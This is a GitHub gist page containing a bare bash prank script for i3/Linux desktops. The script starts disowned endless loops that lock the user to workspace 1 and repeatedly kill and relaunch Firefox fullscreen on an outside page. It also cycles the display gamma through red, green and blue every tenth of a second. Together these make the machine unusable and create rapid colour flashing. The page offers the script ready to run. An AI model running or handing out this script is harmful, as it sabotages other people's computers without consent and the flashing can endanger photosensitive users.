Skip to content

Instantly share code, notes, and snippets.

@Khoyo
Created July 3, 2019 15:16
Show Gist options
  • Save Khoyo/e96275d8948f789e617c225c53677bd3 to your computer and use it in GitHub Desktop.
Save Khoyo/e96275d8948f789e617c225c53677bd3 to your computer and use it in GitHub Desktop.
#!/bin/bash
DP=$(xrandr | grep " connected" | cut -d' ' -f1);
while true; do i3-msg "workspace 1"; done 2>&1 >/dev/null &
while true; do killall -9 firefox; sleep 0.2; firefox --new-window http://psapin.github.io/rainbowstalin.html; done 2>&1 >/dev/null &
while true; do i3-msg '[title=".*Mozilla Firefox"] fullscreen enable; [title=".*Mozilla Firefox"] move workspace 1'; done 2>&1 >/dev/null &
while true; do xrandr --output $DP --gamma 1:0.001:0.001; sleep 0.1; xrandr --output $DP --gamma 0.001:1:0.001; sleep 0.1; xrandr --output $DP --gamma 0.001:0.001:1; sleep 0.1; done 2>&1 >/dev/null &
disown
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment